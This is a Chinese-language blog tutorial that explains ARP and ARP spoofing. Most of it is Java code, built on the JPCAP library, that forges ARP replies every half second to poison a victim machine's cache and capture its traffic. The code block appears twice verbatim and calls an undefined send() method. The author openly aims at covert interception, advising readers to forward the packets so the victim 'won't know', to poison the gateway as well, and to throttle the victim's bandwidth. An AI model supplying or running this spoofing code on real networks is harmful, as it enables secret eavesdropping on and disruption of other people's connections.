JAVA ARP欺骗 封包修改

ARP（Address Resolution Protocol）既地址解释协议，主要的目的是用于进行IP和MAC地址解释的。IP是网络层协议，而MAC是被数据链路层使用。网络中两个节点要进行 通信，那么首先发送端必须要知道源和目的地的MAC地址，而网络层是使用IP地址，所以要获得MAC地址，就必须通过IP地址获取对应的MAC地址，这样 就需要使用ARP协议将IP地址转换为MAC地址，而同时为了能够快速的找到目的地的MAC地址，每个节点都会有一个ARP缓存，用于保存已经转好好的 MAC地址，大家可以在控制台下使用arp –a指令查看arp缓存表。

      而ARP具体过程就是当需要通过IP获取一个远端的的MAC地址的时候，系统会首先检查ARP表中是否存在对应的IP地址，如果没有，则发送一个ARP广 播，当某一个拥有这个MAC地址的节点收到ARP请求的时候，会创建一个ARP reply包，并发送到ARP请求的源节点，ARP Reply包中就包含了目的地节点的MAC地址，在源节点接受到这个reply后，会将目的地节点的MAC地址保存在ARP缓存表中，下一次再次请求同一 IP地址的时候，系统将会从ARP表中直接获取目的地MAC地址，而不需要再次发送ARP广播。

      看到这里，ARP的具体过程大概讲解了一遍，希望能够解释清楚。相信有心的朋友一定已经开始考虑ARP欺骗的原理了吧，其实就是利用ARP表进行ARP欺 骗，比如一台局域网内的机器A，通过网关B进行internet连接，而它的arp表中保存着网关B的IP和MAC地址对，如下：

192.168.1.1    —>    MAC1(懒得写那么长了，就以MAC1作为MAC地址了)

那么也就是说，当A想上网的时候，他所有的数据都将先发送到网关再由网关转发出去，那么A的数据首先会通过192.168.1.1找到网关的 MAC地址 MAC1，然后就可把数据发送到网关了。此时你的机器是C，MAC地址是MAC2，你想通过ARP欺骗来获取A传输的数据，那么你所需要做的事情其实很简 单，就是将机器A的ARP表中192.168.1.1对应的MAC地址MAC1改成MAC2即可，这样子机器A所有发送到192.168.1.1的数据就 会发到MAC地址为MAC2的机器上，也就是你的机器上了。

要更改APR表的记录，办法就是伪造一个ARP reply包发送给机器A，而这个ARP reply包中的源IP为192.168.1.1，MAC地址为MAC2既你的机器的MAC地址即可，机器A接受到后就会将这个源IP和MAC刷新到它的 ARP缓存表中，覆盖原有的记录，最终这样就可以达到ARP欺骗的目的了。

讲到这里不知道大家是否对ARP欺骗有所了解呢？如果再不了解那就上网搜搜吧，网上很多相关的资料。好了，原理讲完了，那就轮到实现了，通过JAVA又如何实现ARP欺骗呢？

从头到尾来做，当然不是我的作风，JAVA社区那么庞大，我么应该好好利用，要站在巨人的肩膀上成功嘛，呵呵。有一个开源项目JPCAP，这个项目提供一个中间层接口让使用者可以调用如wincap/libpcap这些库对网络传输进行控制，具体可到官方网站查看其文档。

在这里，我实现了一个简单的封包截取程序，根据ARP欺骗的原理，我们所需要做的事情如下：
1、 构建一个ARP Reply包

2、 将该封包发送到需要欺骗的机器

public   class  LocalListener {  
  
  
    private   final   static  String GATE_IP =  "192.168.11.1" ;  
  private   final   static   byte [] GATE_MAC = { 0x00 ,  0x0a , ( byte )  0xc5 ,   
0x42 ,  0x6e , ( byte )  0x9a };  
    private  JpcapCaptor jpcap; //与设备的连接   
    private  JpcapSender sender;   //用于发送的实例   
    private  Packet replyPacket; //ARP reply包   
    private  NetworkInterface device; //当前机器网卡设备   
    private  IpMacMap targetIpMacMap; //目的地IP MAC对   
  
  
    public  LocalListener(IpMacMap target)  throws  Exception {  
        NetworkInterface[] devices =JpcapCaptor.getDeviceList();                
        device = devices[1 ];  
        this .targetIpMacMap = target;  
        initSender();  
        initPacket();  
    }  
  
  
    private   void  initSender()  throws  Exception {  
        jpcap = JpcapCaptor.openDevice(device, 2000 ,  false ,  10000 );     //打开与设备的连接   
        jpcap.setFilter("ip" ,  true );                                 //只监听ip数据包   
        sender = jpcap.getJpcapSenderInstance();  
    }  
  
  
    private   void  initPacket()  throws  Exception {  
        //reply包的源IP和MAC地址，此IP-MAC对将会被映射到ARP表   
        IpMacMap targetsSd = new  IpMacMap(GATE_IP, device.mac_address);   
        //创建修改目标机器ARP的包   
        replyPacket = ARPPacketGern.genPacket(targetIpMacMap, targetsSd);  
        //创建以太网头信息，并打包进reply包   
        replyPacket.datalink = EthernetPacketGern.genPacket(targetIpMacMap.getMac(),  
                device.mac_address);  
    }  
  
  
    public   void  listen()  throws  InterruptedException{  
        Thread t = new  Thread( new  Runnable() {  
            public   void  run() {  
              //发送reply封包，修改目的地arp表， arp表会在一段时间内被更新，所以需要不停发送   
                while ( true ){  
                    send();   
                    try  {  
                        Thread.sleep(500 );  
                    } catch  (InterruptedException ex) {  
                        Logger.getLogger(LocalListener.class .getName()).log(Level.SEVERE,  null , ex);  
                    }  
                }  
            }  
        });  
        t.start();  
        //截获当前网络设备的封包收发信息   
        while ( true ){  
            IPPacket ipPacket = (IPPacket)jpcap.getPacket();  
            System.out.println(ipPacket);  
        }  
    }}  
  
  
  
  
  
//IP-MAC实体，只用于保存一对IP-MAC地址   
public   class  IpMacMap {  
    private  String ip;  
    private   byte [] mac;  
  
  
    public  IpMacMap(){  
    }  
     
    public  IpMacMap(String ip,  byte [] mac){  
        this .ip = ip;  
        this .mac = mac;  
    }  
     
    public  String getIp() {  
        return  ip;  
    }  
  
  
    public   void  setIp(String ip) {  
        this .ip = ip;  
    }  
  
  
    public   byte [] getMac() {  
        return  mac;  
    }  
  
  
    public   void  setMac( byte [] mac) {  
        this .mac = mac;  
    }   
     
}  
  
  
//ARP reply包生成类，用于根据目的地址和源地址生成reply包   
public   class  ARPPacketGern{  
  
  
    public   static  ARPPacket genPacket(IpMacMap target, IpMacMap sender)  throws  Exception{  
        ARPPacket arpTarget = new  ARPPacket();  
        arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER;  //选择以太网类型(Ethernet)   
        arpTarget.prototype = ARPPacket.PROTOTYPE_IP;        //选择IP网络协议类型   
        arpTarget.operation = ARPPacket.ARP_REPLY;              //选择REPLY类型   
        arpTarget.hlen = 6 ;                               //MAC地址长度固定6个字节   
        arpTarget.plen = 4 ;                               //IP地址长度固定4个字节   
        arpTarget.target_hardaddr = target.getMac();  
        arpTarget.target_protoaddr = InetAddress.getByName(target.getIp()).getAddress();  
        arpTarget.sender_hardaddr = sender.getMac();  
        arpTarget.sender_protoaddr = InetAddress.getByName(sender.getIp()).getAddress();  
        return  arpTarget;  
    }  
}  
  
  
//根据目的地MAC和源MAC构建以太网头信息，用于传输数据   
public   class  EthernetPacketGern{  
    public   static  EthernetPacket genPacket( byte [] targetMac,  byte [] senderMac)  throws  Exception {  
        EthernetPacket ethToTarget = new  EthernetPacket();           //创建一个以太网头   
        ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;  //选择以太包类型   
        ethToTarget.dst_mac = targetMac;  
        ethToTarget.src_mac = senderMac;         
        return  ethToTarget;  
    }  
}  

public class LocalListener {  
  
  
    private final static String GATE_IP = "192.168.11.1";  
  private final static byte[] GATE_MAC = {0x00, 0x0a, (byte) 0xc5,   
0x42, 0x6e, (byte) 0x9a};  
    private JpcapCaptor jpcap;//与设备的连接  
    private JpcapSender sender;  //用于发送的实例  
    private Packet replyPacket;//ARP reply包  
    private NetworkInterface device;//当前机器网卡设备  
    private IpMacMap targetIpMacMap;//目的地IP MAC对  
  
  
    public LocalListener(IpMacMap target) throws Exception {  
        NetworkInterface[] devices =JpcapCaptor.getDeviceList();                
        device = devices[1];  
        this.targetIpMacMap = target;  
        initSender();  
        initPacket();  
    }  
  
  
    private void initSender() throws Exception {  
        jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000);    //打开与设备的连接  
        jpcap.setFilter("ip", true);                                //只监听ip数据包  
        sender = jpcap.getJpcapSenderInstance();  
    }  
  
  
    private void initPacket() throws Exception {  
        //reply包的源IP和MAC地址，此IP-MAC对将会被映射到ARP表  
        IpMacMap targetsSd = new IpMacMap(GATE_IP, device.mac_address);   
        //创建修改目标机器ARP的包  
        replyPacket = ARPPacketGern.genPacket(targetIpMacMap, targetsSd);  
        //创建以太网头信息，并打包进reply包  
        replyPacket.datalink = EthernetPacketGern.genPacket(targetIpMacMap.getMac(),  
                device.mac_address);  
    }  
  
  
    public void listen() throws InterruptedException{  
        Thread t = new Thread(new Runnable() {  
            public void run() {  
              //发送reply封包，修改目的地arp表， arp表会在一段时间内被更新，所以需要不停发送  
                while(true){  
                    send();   
                    try {  
                        Thread.sleep(500);  
                    } catch (InterruptedException ex) {  
                        Logger.getLogger(LocalListener.class.getName()).log(Level.SEVERE, null, ex);  
                    }  
                }  
            }  
        });  
        t.start();  
        //截获当前网络设备的封包收发信息  
        while(true){  
            IPPacket ipPacket = (IPPacket)jpcap.getPacket();  
            System.out.println(ipPacket);  
        }  
    }}  
  
  
  
  
  
//IP-MAC实体，只用于保存一对IP-MAC地址  
public class IpMacMap {  
    private String ip;  
    private byte[] mac;  
  
  
    public IpMacMap(){  
    }  
     
    public IpMacMap(String ip, byte[] mac){  
        this.ip = ip;  
        this.mac = mac;  
    }  
     
    public String getIp() {  
        return ip;  
    }  
  
  
    public void setIp(String ip) {  
        this.ip = ip;  
    }  
  
  
    public byte[] getMac() {  
        return mac;  
    }  
  
  
    public void setMac(byte[] mac) {  
        this.mac = mac;  
    }   
     
}  
  
  
//ARP reply包生成类，用于根据目的地址和源地址生成reply包  
public class ARPPacketGern{  
  
  
    public static ARPPacket genPacket(IpMacMap target, IpMacMap sender) throws Exception{  
        ARPPacket arpTarget = new ARPPacket();  
        arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER;  //选择以太网类型(Ethernet)  
        arpTarget.prototype = ARPPacket.PROTOTYPE_IP;        //选择IP网络协议类型  
        arpTarget.operation = ARPPacket.ARP_REPLY;              //选择REPLY类型  
        arpTarget.hlen = 6;                              //MAC地址长度固定6个字节  
        arpTarget.plen = 4;                              //IP地址长度固定4个字节  
        arpTarget.target_hardaddr = target.getMac();  
        arpTarget.target_protoaddr = InetAddress.getByName(target.getIp()).getAddress();  
        arpTarget.sender_hardaddr = sender.getMac();  
        arpTarget.sender_protoaddr = InetAddress.getByName(sender.getIp()).getAddress();  
        return arpTarget;  
    }  
}  
  
  
//根据目的地MAC和源MAC构建以太网头信息，用于传输数据  
public class EthernetPacketGern{  
    public static EthernetPacket genPacket(byte[] targetMac, byte[] senderMac) throws Exception {  
        EthernetPacket ethToTarget = new EthernetPacket();          //创建一个以太网头  
        ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;  //选择以太包类型  
        ethToTarget.dst_mac = targetMac;  
        ethToTarget.src_mac = senderMac;         
        return ethToTarget;  
    }  
}  

如上代码实现了创建一个发送到IP为192.168.11.4的机器的ARP reply封包，其中可看到，reply包中的源IP为192.168.11.1，而源MAC则被改成当前机器的MAC地址，既 device.mac_address，这样当192.168.11.4的机器接收到该reply包后，就会刷新ARP表，并且所有发送往 192.168.11.1的数据都会实际发送到当前运行该程序的机器。程序中创建了一个线程用于循环发送reply封包，主要是因为ARP表会在一定时间 内更新，所以要不停的发送才能保证其MAC地址时刻都是被改变的。同时主线程用于监听并打印当前设备的所有IP数据包信息，本来此方法只能监听到本机数据 包的信息，但由于使用了ARP欺骗，所以你会在192.168.11.4发送数据到192.168.11.1的时候截获其数据包，并看到类似如下的信息：

1216798614:885583 /192.168.11.4->/61.135.189.33 protocol(6) priority(0) hop(128) offset(0) ident(34922) TCP 1337 > 8016 seq(1062321893) win(65535) S

    其实上例程序虽然可以截获并监听192.168.11.4的数据包，但是如果真的运行起来后，192.168.11.4的机器将会无法上网（假设该机器通过192.168.11.1作为网关上网），这又是为何呢？

    这就是因为本机截获了192.168.11.4的封包，但是却没有将封包转发出去，所以实际上数据包到了你的机器上后就被中断了，数据包无法发送出去。既 然要监听对方机器，当然不能让对方知道啦，如果你监听了那台机器，却导致对方无法上网，傻子也知道有问题啦，所以以上程序仍然要加个补充，那就是将封包数 据在转发到192.168.11.1上，只要将截获的封包再send出去就可以了，具体如何做就留给大家想吧，困了，休息了，如果有朋友有兴趣又实在想不 出如何做的话，可以向我提出来，有必要的话，下次再贴一个完整点的例子吧。

    对了，最后还有补充的地方，那就是我们可以通过同样的方式刷新网关的ARP，这样网关接受到的数据也会被本机截获，同样再通过本机转发到目的机器即可。这 样对方既可正常上网，而我们又可截获对方的数据包，如果要进行限速的话，那就是在截获封包的同时，进行一定的延时，比如一秒只允许多少K的数据通过，都可 以在这里做手脚，同样的，具体如何留给大家想吧。